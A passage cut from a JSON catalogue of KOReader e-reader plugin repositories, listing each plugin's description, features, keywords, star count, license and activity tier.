read"],"keywords":["koreader","koreader-plugin","ebooks","epub","acsm","read","library","loans","libby","overdrive","e-reader","settings","compatibility","troubleshooting","acknowledgments","file","open","adobe","activation","kindle","borrow","device","loan","saved"],"topics":["koreader","koreader-plugin","ebooks","epub"],"stars":65,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-01T17:37:25Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2512,"detail":"detail/kaikozlov__acsm.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kristianpennacchia/wordreference.koplugin","owner":"kristianpennacchia","repo":"wordreference.koplugin","url":"https://github.com/kristianpennacchia/wordreference.koplugin","description":"Lookup highlighted words or phrases on WordReference directly from KOReader.","purpose":"Lookup highlighted words or phrases on WordReference directly from KOReader. View all available languages There are multiple ways to lookup phrases on WordReference.","categories":["dict"],"features":["Highlight a word or short phrase in a book","Choose \"WordReference\"","A popup shows the definitions from WordReference","Short-press a word","Override Dictionary Quick Lookup","This will override the dictionary quick lookup feature that is enabled with the KOReader setting Dictionary on single word…","Include inflections in lookup","When looking up a word or phrase, its inflections (if available) will be displayed","Auto-Detect languages","This will attempt to auto-detect the language of the book and the language used for KOReader, and use this to perform the…"],"keywords":["koreader-plugin","koreader","lookup","highlighted","words","phrases","wordreference","directly","settings","quick","extras","dictionary","override","popup","word","available","definitions","languages","setting","shows","accessed","auto-detect","book","button"],"topics":["koreader-plugin","koreader"],"stars":61,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-07-08T23:23:13Z","license":"Unlicense","default_branch":"main","has_meta":true,"readme_bytes":2506,"detail":"detail/kristianpennacchia__wordreference.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"grimmory-tools/grimmory.koplugin","owner":"grimmory-tools","repo":"grimmory.koplugin","url":"https://github.com/grimmory-tools/grimmory.koplugin","description":"","purpose":"Read your books from Grimmory, sync your shelves, and track reading progress automatically. Download the [latest release][latest-plugin] file and extract it to your KOReader plugin folder. Then, restart KOReader.","categories":["misc"],"features":[],"keywords":["koreader-plugin","grimmory","updating","latest","latest-plugin","alpha","bugs","download","folder","restart","software","sync","tools","under","updater","updates"],"topics":["koreader-plugin"],"stars":59,"forks":13,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T11:16:22Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1188,"detail":"detail/grimmory-tools__grimmory.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/simpleui_ext.koplugin","owner":"omer-faruq","repo":"simpleui_ext.koplugin","url":"https://github.com/omer-faruq/simpleui_ext.koplugin","description":"Extra homescreen modules and patches for SimpleUI on KOReader","purpose":"Extra home screen modules for SimpleUI, including Hero Currently Reading and recent book statistics.","categories":["ui"],"features":["Cover image (30 % of card width, 3:2 aspect ratio — bookshelf proportions)","Title (bold, up to 2 lines) and author","Description blurb pulled from BookInfoManager / DocSettings / custom metadata","Progress bar with page count and estimated time remaining (sourced from the Statistics plugin database)","Tap to open the book","Supports SimpleUI's module scaling, theme colours, and frame/background options","BOOK panel — progress %, pages read, time spent, estimated time remaining","PACE panel — days reading, estimated days to finish, avg time per day, pages per minute","Book title embedded in the BOOK header (pixel-accurate truncation with ellipsis)","Wallpaper-aware: all text areas transparent, headers show a solid underline instead of a filled background"],"keywords":["koreader-plugin","extra","homescreen","modules","simpleui","hero","currently","reading","recent","book","stats","streaks","insights","pace","yanllsama","built-in","books","options","cover","deck","exclude","paths","description","strip","currently reading"],"topics":["koreader-plugin"],"stars":59,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T06:47:09Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":33645,"detail":"detail/omer-faruq__simpleui_ext.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"prasy-loyola/notes.koplugin","owner":"prasy-loyola","repo":"notes.koplugin","url":"https://github.com/prasy-loyola/notes.koplugin","description":"","purpose":"`notes.koplugin` is a plugin for KOReader to write handwritten notes. Download the release package from the releases page.","categories":["reading","notes"],"features":["[x] Simple app to take notes while reading technical books","[x] Support multi page notes","[x] Save into storage as simple image files (.png)","[x] Load notes from storage","[ ] Multi-color pens","[x] Eraser (The icon doesn't show if the eraser is enabled or not at the moment)","[x] Clear page ~~/whole notes~~","[x] Setup a background / template for page","Support undo/redo","Storing as vector graphics formats (svg, excalibre etc.)"],"keywords":["notes","project","goals","planned","moment","devices","tested","does","work","known","issues","page","eraser","have","icon","stylus","android","canvas","change","core","created","device","directory","doesn"],"topics":[],"stars":59,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2026-01-07T21:35:45Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2116,"detail":"detail/prasy-loyola__notes.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"advokatb/readingstreak.koplugin","owner":"advokatb","repo":"readingstreak.koplugin","url":"https://github.com/advokatb/readingstreak.koplugin","description":"KOReader plugin for tracking daily and weekly reading streaks","purpose":"A plugin for tracking daily and weekly reading streaks, similar to Kindle Streak functionality. Copy the `readingstreak.koplugin` folder to KOReader's `plugins` directory.","categories":["ui","files","reading"],"features":["Localization - Multi-language support (English, Russian, Ukrainian, Turkish, Hungarian)","Daily Streaks - Track consecutive days of reading","Weekly Streaks - Track consecutive weeks of reading","Calendar View - Visualize reading progress with monthly calendar navigation","Date Tracking - Display first and last reading dates","Settings - Comprehensive inline settings menu organized into logical submenus","Goals - Set streak goals and get notifications when achieved","Notifications - Optional notifications for reaching goals","Statistics Import - Import historical reading data from KOReader's statistics.sqlite3 database","UI Integration - Display reading streak directly in Project Title footer"],"keywords":["tracking","daily","weekly","reading","streaks","streak","automatic","viewing","calendar","view","import","statistics","integration","settings","goals","display","data","management","localization","technical","details","days","current","dates"],"topics":[],"stars":56,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T09:40:52Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":6500,"detail":"detail/advokatb__readingstreak.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"moritz-john/homeassistant.koplugin","owner":"moritz-john","repo":"homeassistant.koplugin","url":"https://github.com/moritz-john/homeassistant.koplugin","description":"This KOReader plugin lets you control Home Assistant entities without leaving your current book!","purpose":"Jump to the [Installation] , [Configuration] or [Examples] section homeassistant.koplugin: a template query [left] & QuickMenu gesture [right]","categories":["ai","files"],"features":["Control any number of Home Assistant entities from KOReader","Action support with custom data attributes e.g","light.turn_on with brightness and color","media_player.play_media with media_content_id & type","Advanced targeting: single/multiple entities, areas or labels","Entity state queries with customizable attributes e.g","sensor.temperature_outside: state, last_updated","Evaluate Home Assistant templates","Simple text-based configuration","Go to your Home Assistant instance → Developer Tools → Actions"],"keywords":["home-assistant","koreader","koreader-plugin","lets","control","home","assistant","entities","without","leaving","current","book","homeassistant","step","download","edit","config","lua","copy","files","device","restart","configuration","connection"],"topics":["home-assistant","koreader","koreader-plugin"],"stars":56,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-03-27T17:05:35Z","license":"MIT","default_branch":"master","has_meta":true,"readme_bytes":13319,"detail":"detail/moritz-john__homeassistant.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kodermike/airplanemode.koplugin","owner":"kodermike","repo":"airplanemode.koplugin","url":"https://github.com/kodermike/airplanemode.koplugin","description":"AirPlane mode plugin for KOReader","purpose":"AirPlaneMode is a KOReader plugin that lets you enable/disable networking and selected plugins in one action. The plugin focuses on safely disabling identified plugins while preserving user plugin preferences when disabling.","categories":["device","notes"],"features":["Enabling AirPlaneMode will","Back up the current KOReader settings file","Disables a configurable set of plugins","Disables Wi‑Fi, and changes default Network settings to disable automatic activation","If the Calibre plugin is enabled, adjusts Calibre's wireless-only settings to off while leaving the plugin search functions…","Disabling AirPlaneMode will","restore previous settings from the backup","re-enables plugins that were disabled for AirPlaneMode","Return Wi‑Fi settings to their previous configuration","Connect your device with USB"],"keywords":["airplane","mode","airplanemode","does","installing","archive","file","alternate","kobo","gesture","default","disabled","developer","notes","updated","2026","settings","disable","enable","menu","while","active","device","information"],"topics":[],"stars":55,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-24T01:49:07Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5781,"detail":"detail/kodermike__airplanemode.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"xblain/annotationsviewer.koplugin","owner":"xblain","repo":"annotationsviewer.koplugin","url":"https://github.com/xblain/annotationsviewer.koplugin","description":"","purpose":"This plugin scans KOReader's stored annotations (highlights and notes) and provides a single unified interface to browse, filter and manage them across all books you've read.","categories":["notes"],"features":["Aggregates highlights and notes from KOReader","Shows book title, date, chapter, highlighted text and any user note for each annotation","Lets you open the source book at the annotated location","Edit or delete annotations, change highlight style or color","Extensive annotations filtering system enabling filtering by highlight color, style, books,tags, chapters, words in highlights…","Caching annotations for faster loading","Configure font sizes, margins, truncation length and many more display options from the plugin Settings menu for lots of…","Unified view of all annotations across books","Pagination for long annotation lists","Pagination customisation"],"keywords":["koreader-plugin","annotations","viewer","all","notes","highlights","book","highlight","color","style","text","annotation","note","settings","books","change","delete","edit","margins","menu","open","across","back","browse"],"topics":["koreader-plugin"],"stars":55,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-05-06T16:33:28Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2148,"detail":"detail/xblain__annotationsviewer.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Syakhisk/readingruler.koplugin","owner":"Syakhisk","repo":"readingruler.koplugin","url":"https://github.com/Syakhisk/readingruler.koplugin","description":"Reading Ruler is a plugin that brings movable underlines to KOReader!","purpose":"Reading Ruler is a KOReader plugin that adds a movable underline (ruler) to help readers focus on specific text lines, ideal for guided reading or improving focus.","categories":["ui","device"],"features":["Tap Mode: Tap to move the ruler to the next line, swipe up to move it up. (Swipe down is unused)","Swipe Navigation: Use swipe gestures to move the ruler to the next or previous line of text","Custom Gestures: Configure custom gestures to navigate through the text, such as tapping corners or edges of the screen","Thickness: Adjust the thickness of the ruler to suit your reading preferences","Intensity (Opacity): Set the opacity of the ruler to make it more or less prominent","If the ruler is at the top of the page, navigating up will navigate to the previous page and put the ruler at the bottom of the…","and if it is at the bottom, swiping down will navigate to the next page and put the ruler at the top of the page","Go to the releases page","Swipe navigation on page start/end will not move to next/previous page"],"keywords":["kindle","koreader","koreader-plugin","reading-ruler","reading","ruler","brings","movable","underlines","navigation","options","tap-to-move","mode","customization","automatic","page","preview","known","issues","two","columns","line-skipping","contributions","laundry"],"topics":["kindle","koreader","koreader-plugin","reading-ruler"],"stars":54,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2025-06-22T11:13:24Z","license":"MIT","default_branch":"master","has_meta":true,"readme_bytes":3738,"detail":"detail/Syakhisk__readingruler.koplugin.json","activity":"dormant","tier":"B","tier_reasons":["has_meta","settled","documented"]},{"id":"Shac0x/charactertracker.koplugin","owner":"Shac0x","repo":"charactertracker.koplugin","url":"https://github.com/Shac0x/charactertracker.koplugin","description":"KOReader character tracker for tracking reading progress and stats.","purpose":"Track characters, relationships, and notes while you read. Never forget who's who in a long novel — or across an entire series — again.","categories":["sync","files","reading"],"features":["Add characters on the fly from the highlight popup or the Tools menu","Aliases — track nicknames, titles, house names, alternate spellings","Notes — add evolving observations as the story progresses; edit or delete any time","Rating — rate characters from ★ to ★★★★★","Role — tag as Main, Secondary, Tertiary, Mentioned, Antagonist, or Narrator","Rename — safely rename a character (relationships pointing to it are updated automatically)","Link characters with predefined types: father, mother, son, daughter, brother, sister, spouse, ally, enemy, friend, mentor,…","Custom relationships for anything else (squire, rival, betrothed, ...)","Detail view shows both outgoing (→) and incoming (←) relationships","Tap a relationship to jump to that character's detail view"],"keywords":["character","tracker","tracking","reading","progress","stats","characters","relationships","in-text","recognition","highlight","integration","series","shared","across","books","adding","viewing","editing","underlining","names","text","linking","book"],"topics":[],"stars":49,"forks":5,"is_fork":false,"archived":false,"pushed_at":"2026-04-07T08:27:17Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4084,"detail":"detail/Shac0x__charactertracker.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"arthurrump/syncthing.koplugin","owner":"arthurrump","repo":"syncthing.koplugin","url":"https://github.com/arthurrump/syncthing.koplugin","description":"Run Syncthing from within KOReader","purpose":"Run Syncthing from within KOReader. This plugin adds a menu item to start and stop the Syncthing service in the *Network* section of the KOReader menu.","categories":["sync"],"features":["(Preferred) Use SSH port forwarding to connect through SSH. Start the SSH Server in KOReader and connect using this command","Update the *gui* > *address* element in *settings/syncthing/config.xml* to have Syncthing listen on 0.0.0.0:8384","The Syncthing menu item does not appear after installation","Syncthing stops after a moment: the checkbox uncheks itself after reopening the menu","Syncthing is unable to connect to discovery servers"],"keywords":["koplugin","koreader","koreader-plugin","syncthing","run","within","configuration","troubleshooting","available","device","menu","after","directory","files","start","binary","connect","copy","have","network","port","section","settings","through"],"topics":["koplugin","koreader","koreader-plugin","syncthing"],"stars":48,"forks":11,"is_fork":false,"archived":false,"pushed_at":"2023-12-15T16:09:22Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3510,"detail":"detail/arthurrump__syncthing.koplugin.json","activity":"dormant","tier":"B","tier_reasons":["has_meta","settled","documented"]},{"id":"omer-faruq/sudoku.koplugin","owner":"omer-faruq","repo":"sudoku.koplugin","url":"https://github.com/omer-faruq/sudoku.koplugin","description":"Play touch-friendly Sudoku puzzles on KOReader, resume later","purpose":"This plugin brings a straightforward Sudoku experience to KOReader so you can solve puzzles while reading. Pressing New game opens a small popup with two choices:","categories":["games"],"features":["Multiple difficulty levels","Controls optimized for touch","Automatic progress saving","Generate a fresh puzzle or load one from a puzzle bank","Create – then pick a difficulty (Easy / Medium / Hard) and a fresh puzzle","Load from bank – pick a source, then a file (or \"Random puzzle\"), and a"],"keywords":["koreader-plugin","game","play","touch-friendly","sudoku","puzzles","resume","later","create","load","puzzle","banks","credits","bank","random","source","difficulty","file","files","folder","adding","folders","format","formats"],"topics":["koreader-plugin","game"],"stars":47,"forks":6,"is_fork":false,"archived":false,"pushed_at":"2026-06-12T18:51:33Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1993,"detail":"detail/omer-faruq__sudoku.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Shac0x/maximum.koplugin","owner":"Shac0x","repo":"maximum.koplugin","url":"https://github.com/Shac0x/maximum.koplugin","description":"A KOReader plugin that improves zooming while reading manga.","purpose":"Maximum is a plugin designed to enhance the manga reading experience on KOReader. It introduces a grid-based zoom functionality and automatic page rotation for landscape pages. Compatible with CBZ, CBR and PDF formats.","categories":["ui","files","content"],"features":["Without Zoom","With Zoom","Plugin Menu","Plugin Settings","Grid View: Divides the screen into four quadrants (2x2) for easy navigation","Zoom Functionality: Two-finger tap on any quadrant to zoom it to fullscreen","RTL Mode: Right-to-left reading direction when zoomed (for manga)","Auto-rotate: Automatically rotates landscape pages to landscape orientation","Rotation Direction: Choose between clockwise (90°) or counter-clockwise (270°) rotation","Page Split: Splits landscape pages into two views (left half, then right half)"],"keywords":["koreader","koreader-plugin","plugin","improves","zooming","while","reading","manga","maximum","overview","grid","mode","rtl","right-to-left","auto-rotate","page","split","save","defaults","menu","options","file","structure","limitations"],"topics":["koreader","koreader-plugin","plugin"],"stars":47,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-02-08T22:27:59Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3715,"detail":"detail/Shac0x__maximum.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"JorgeTheFox/koreader-dynamic-panelzoom","owner":"JorgeTheFox","repo":"koreader-dynamic-panelzoom","url":"https://github.com/JorgeTheFox/koreader-dynamic-panelzoom","description":"A KOReader plugin for dynamic panel-by-panel zooming in comics and manga.","purpose":"A KOReader plugin that automatically detects and displays comic and manga panels one by one for a seamless reading experience on E-Ink devices.","categories":["reading","content"],"features":["🤖 Real-time Detection: Analyzes pages instantly using KOReader's native engine","📖 Focused View: Centers each panel and masks adjacent content to reduce distractions","⚡ Smart Pre-loading: Renders the next panel in the background for zero-lag transitions","🔄 Reading Direction: Supports Left-to-Right (Western) and Right-to-Left (Manga)","🔍 Hold-to-Zoom Mode: Long-press on any panel to instantly enter a free-zoom state with smart text padding to read cut-off speech…","Open a comic (.cbz, .pdf, etc.) in \"full page mode\": fit = full and view mode = page (see the gif above)","Go to the top menu, tap on the document tab and check Allow panel zoom","Select Reading direction","Left-to-Right (LTR) for Western comics","Right-to-Left (RTL) for Manga/Eastern comics"],"keywords":["comics","e-reader","epub","koreader","lua","manga","plugin","panel-zoom","koreader-plugin","koreader-plugins","dynamic","panel-by-panel","zooming","panel","zoom","known","issues","credits","page","mode","view","full","around","hold-to-zoom"],"topics":["comics","e-reader","epub","koreader","lua","manga","plugin","panel-zoom","koreader-plugin","koreader-plugins"],"stars":46,"forks":8,"is_fork":false,"archived":false,"pushed_at":"2026-06-05T11:04:42Z","license":"MIT","default_branch":"master","has_meta":true,"readme_bytes":2973,"detail":"detail/JorgeTheFox__koreader-dynamic-panelzoom.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"flip-rossi/readeck.koplugin","owner":"flip-rossi","repo":"readeck.koplugin","url":"https://github.com/flip-rossi/readeck.koplugin","description":"An unofficial KOReader plugin to add integration with your Readeck instance.","purpose":"A KOReader plugin to add integration with your Readeck instance's API. Simply put this repo in your KOReader's plugin folder (koreader/plugins).","categories":["web"],"features":["Browse bookmarks","Save links","Username and Password, and click on \"Sign in\"","or the API Token, and click on \"Save\"","New bookmark settings","Default labels: Comma-separated list of labels to add by default when"],"keywords":["koreader-plugin","readeck","koreader","unofficial","integration","instance","configuration","server","credentials","misc","bookmarks","settings","click","links","only","also","bookmark","browse","default","development","early","folder","labels","password"],"topics":["koreader-plugin","readeck","koreader"],"stars":45,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2025-09-17T21:02:48Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":2036,"detail":"detail/flip-rossi__readeck.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"fpammer/kamare.koplugin","owner":"fpammer","repo":"kamare.koplugin","url":"https://github.com/fpammer/kamare.koplugin","description":"A manga reader plugin for KOReader that connects to Kavita self-hosted digital library.","purpose":"kamare is a manga reader plugin for KOReader that connects to Kavita. This KOReader plugin provides a seamless way to read manga from Kavita without going through OPDS, featuring a custom renderer that also supports long-strip formats commonly used in manhwa.","categories":["library","content"],"features":["Direct Kavita Integration - Browse your library without OPDS limitations","Multiple Reading Modes - Page, scroll (long-strip), and dual-page modes","Smart Prefetching - Fast page turns through caching","Progress Tracking - Syncs with Kavita and KOReader reading stats","Optimized Renderer - Custom-built for fluid manga reading experience","Open the plugin from the KOReader menu (🔍) and add your Kavita server from the burger menu (top-left)","Enter a server name, URL (with protocol eg. https://kavita.hostname.zone), and Kavita API key","Log into your Kavita web interface","Go to Settings → Account → API Key","Generate a new key if needed and type it to the setup dialog"],"keywords":["kavita","koreader","manga","plugin","connects","self-hosted","digital","library","kamare","reading","modes","setup","getting","api","key","configuration","page","view","long-strip","mode","scroll","settings","also","between"],"topics":["kavita","koreader","manga","plugin"],"stars":45,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-08-01T14:39:12Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":3291,"detail":"detail/fpammer__kamare.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"omer-faruq/instapaper.koplugin","owner":"omer-faruq","repo":"instapaper.koplugin","url":"https://github.com/omer-faruq/instapaper.koplugin","description":"Download and read articles from your Instapaper account directly in KOReader","purpose":"Download and read articles from your Instapaper account directly in KOReader. Before you can use this plugin, you need to create OAuth consumer credentials on Instapaper:","categories":["ui","web","files"],"features":["OAuth 1.0a authentication using Instapaper's official Full API","Browse Unread, Starred, Archived, and custom folders","EPUB output — articles can be saved as EPUB files with optional image inclusion","Article info on long-press: date saved, word count, estimated reading time, progress, and source URL","Manage articles: Archive, Delete, Star (via long-press)","Bulk download with folder, time period, and post-download action (archive/delete/none)","Auto WiFi connect — triggers network connection automatically when needed","Title injection — missing article titles are added as a heading in the downloaded HTML","Reading progress display (percentage read)","Configurable article list limit — fetch up to 10, 25, 50, 100, 200, or 500 articles at once"],"keywords":["koreader-plugin","download","read","articles","instapaper","account","directly","setup","oauth","consumer","credentials","configure","option","via","menu","recommended","manual","configuration","file","log","browse","article","long-press","bulk"],"topics":["koreader-plugin"],"stars":45,"forks":5,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T16:40:34Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9685,"detail":"detail/omer-faruq__instapaper.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"artemartemenko/KOReader_MultiUser.koplugin","owner":"artemartemenko","repo":"KOReader_MultiUser.koplugin","url":"https://github.com/artemartemenko/KOReader_MultiUser.koplugin","description":"KOReader plugin and patch for isolated user profiles — separate settings, history, and reading statistic per user","purpose":"A plugin and patch for KOReader that adds isolated user profile support — each profile has its own settings, reading history, plugins, and patches. Reading position and bookmarks are independent per profile as long as each user keeps their books in a separate folder.","categories":["ui","reading"],"features":["star this repository on GitHub","buy me a coffee on Ko‑fi","create and switch between multiple user profiles","each profile has its own settings, history, cache, screenshots, and patches; plugins from the default profile are available to…","per-profile frontlight settings (brightness, warmth) saved and restored on switch","user picker style: list or tile grid","profile avatar images for the user picker screen","configurable unlock screen: ask for user on device wake, with configurable idle timeout","\"Switch user…\" shortcut in the main menu","API for third-party patches (THIRDPARTY_API.txt)"],"keywords":["koreader","koreader-plugin","koreader-user-patch","isolated","profiles","separate","settings","history","reading","statistic","per","multiuser","menu","flow","profile","avatars","recommended","images","data","layout","troubleshooting","third-party","api","default"],"topics":["koreader","koreader-plugin","koreader-user-patch"],"stars":41,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-03-29T00:07:58Z","license":"NOASSERTION","default_branch":"main","has_meta":true,"readme_bytes":5103,"detail":"detail/artemartemenko__KOReader_MultiUser.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"marinov752/emailtokoreader.koplugin","owner":"marinov752","repo":"emailtokoreader.koplugin","url":"https://github.com/marinov752/emailtokoreader.koplugin","description":"Automatically download EPUB files from your email directly to your KOReader device.","purpose":"Automatically download EPUB files from your email directly to your KOReader device. The original version of this plugin processed emails by loading the entire payload into memory and running heavy regex scans, which could cause watchdog freezes and crashes on 800MHz e-ink hardware when downloading large (5MB+) EPUBs.","categories":["files"],"features":["IMAP Literal Accounting: Reads exact byte counts to prevent protocol strings from corrupting the EPUB ZIP structure","Bounded Memory Usage: Decodes Base64 payloads directly to disk in 8KB mathematically aligned chunks","UI Yielding: Cooperatively yields to the KOReader UI loop to prevent device watchdog lockups","Strict RFC MIME Parsing: Accurately isolates payloads and prevents random truncation from nested email boundaries","Atomic Filesystem Writes: Safely writes to .tmp files and renames them only upon successful verification","Place the emailtokoreader.koplugin folder into your KOReader plugins directory (usually koreader/plugins/)","Open config.lua and add your email credentials (use an App Password if using Gmail)","Format: Book Title - Author Name.epub","Valid Example: The Martian - Andy Weir.epub"],"keywords":["koreader","koreader-plugin","automatically","download","epub","files","email","directly","device","streaming","architecture","fork","refactor","filename","requirements","cause","e-ink","example","format","imap","memory","open","payloads","prevent"],"topics":["koreader","koreader-plugin"],"stars":41,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-05-22T20:51:24Z","license":"MIT","default_branch":"main","has_meta":false,"readme_bytes":2062,"detail":"detail/marinov752__emailtokoreader.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"Evgeniy-94/TelegramDownloader.koplugin","owner":"Evgeniy-94","repo":"TelegramDownloader.koplugin","url":"https://github.com/Evgeniy-94/TelegramDownloader.koplugin","description":"This plugin for KOReader allows you to send files to your e-reader using Telegram bot.","purpose":"This plugin for KOReader allows you to send files to your e-reader using Telegram bot.","categories":["files"],"features":[],"keywords":["e-reader","ebook","koreader","koreader-plugin","allows","send","files","telegram","bot","telegramdownloader","download","token","botfather","choose","configuration","directory","file","find","folder","following","menu","newbot","submenu","userinfobot"],"topics":["e-reader","ebook","koreader","koreader-plugin"],"stars":40,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-06-02T20:03:25Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":3466,"detail":"detail/Evgeniy-94__TelegramDownloader.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"brendanlefebvre/supersync.koplugin","owner":"brendanlefebvre","repo":"supersync.koplugin","url":"https://github.com/brendanlefebvre/supersync.koplugin","description":"Full metadata sync for KOreader via user's own cloud storage","purpose":"I see and appreciate the interest in this plugin as expressed via GitHub stars, but I cannot stress enough that this plugin is NOT READY FOR USE yet.","categories":["sync","library","files"],"features":["Annotations and highlights with notes","Bookmarks and reading progress","Document-specific settings (fonts, margins, etc.)","Reading statistics and time tracking","Custom metadata and tags","Plugin data stored per document","No additional accounts: Uses your existing cloud storage (Dropbox, WebDAV, FTP)","Integrated configuration: Settings UI works with KOReader's cloud storage setup","Flexible folder structure: Choose any folder path in your cloud storage","Main menu access: Appears under \"Super Sync\" in the main menu"],"keywords":["full","metadata","sync","via","own","cloud","storage","warning","please","don","yet","super","overview","syncs","easy","setup","smart","integration","efficient","operation","robust","architecture","configure","already"],"topics":[],"stars":39,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-09T21:34:55Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":11695,"detail":"detail/brendanlefebvre__supersync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"burneracc0112/storygraph.koplugin","owner":"burneracc0112","repo":"storygraph.koplugin","url":"https://github.com/burneracc0112/storygraph.koplugin","description":"storygraph status updating from KOReader","purpose":"A KOReader plugin to synchronize your reading progress, notes, and status to The StoryGraph. The StoryGraph menu is located in the Bookmark top menu when a document is active.","categories":["reading","notes"],"features":["Rename storygraph_config.example.lua to storygraph_config.lua","*Note: If you are upgrading from an older version, the plugin will automatically rename hardcover_config.lua to…","Authentication","Log in to thestorygraph.com in your browser","Open your browser's Developer Tools (F12) -> Application/Storage -> Cookies","Set Progress: Tap the progress button to open a native picker showing both your KOReader and StoryGraph synced percentages","Add a Note: Write your thoughts directly in the note field","Location Context: By default, notes sent via the highlight menu automatically include your current Chapter, Page, and Percentage.…","Use \"Link book\" to search by metadata or ISBN","Use \"Change edition\" to switch to a different edition"],"keywords":["storygraph","status","updating","progress","notes","linking","book","automatically","track","settings","versioning","mandatory","updates","edition","config","read","link","cookie","document","enable","menu","note","session","sync"],"topics":[],"stars":39,"forks":1,"is_fork":true,"archived":false,"pushed_at":"2026-04-29T01:36:51Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4583,"detail":"detail/burneracc0112__storygraph.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"zeeyado/quran-ebook","owner":"zeeyado","repo":"quran-ebook","url":"https://github.com/zeeyado/quran-ebook","description":"A configurable Quran ebook generator with correct Arabic rendering.","purpose":"الحمد لله رب العالمين، والصلاة والسلام على سيدنا محمد خاتم النبيين وإمام المرسلين Pre-built and reproducible Quran EPUBs with correct Arabic rendering, in 42 languages.","categories":["ui","dict"],"features":["Bilingual — Arabic and translation shown together, ayah by ayah. Best for studying or reading with a translation side by side","Interactive — Arabic text only, tap any ayah (number marker) to see the translation in a footnote popup. Best for reading the…","Word-by-Word — Each Arabic word shown with its meaning directly below, forming visual word stacks. A full sentence translation…","Kobo: Native reader struggles with Arabic. Install KOReader — no jailbreak needed","Kindle: Stock Kindle does not render Arabic EPUBs correctly. Requires jailbreaking + KOReader","Other e-readers: Proprietary readers will likely have rendering errors","Apple Books: Mostly works well on iOS and macOS, no changes needed. Some features may not fully work","Android e-readers: Most popular e-reader software like Moon+ Reader, Readera, Librera, etc., have various formatting errors and…"],"keywords":["arabic","bilingual","epub","epub3","islam","koreader","python","quran","quran-api","rtl","koreader-plugin","configurable","ebook","generator","correct","rendering","types","compatibility","updating","epubs","settings","important","footnote","popups"],"topics":["arabic","bilingual","epub","epub3","islam","koreader","python","quran","quran-api","rtl","koreader-plugin"],"stars":39,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2026-07-27T18:27:05Z","license":"GPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":55668,"detail":"detail/zeeyado__quran-ebook.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"karpushchenko/koreader-rsvp-plugin","owner":"karpushchenko","repo":"koreader-rsvp-plugin","url":"https://github.com/karpushchenko/koreader-rsvp-plugin","description":"An RSVP (Rapid Serial Visual Presentation) plugin that enables speed reading with advanced features for KOReader.","purpose":"A powerful RSVP (Rapid Serial Visual Presentation) plugin that enables speed reading with advanced features for KOReader.","categories":["ui","reading"],"features":["Tap-to-Launch RSVP: Tap directly on text to instantly start RSVP reading","Resume Reading: Automatically remembers your last reading position on each page","Flexible Speed Control: Adjustable reading speed 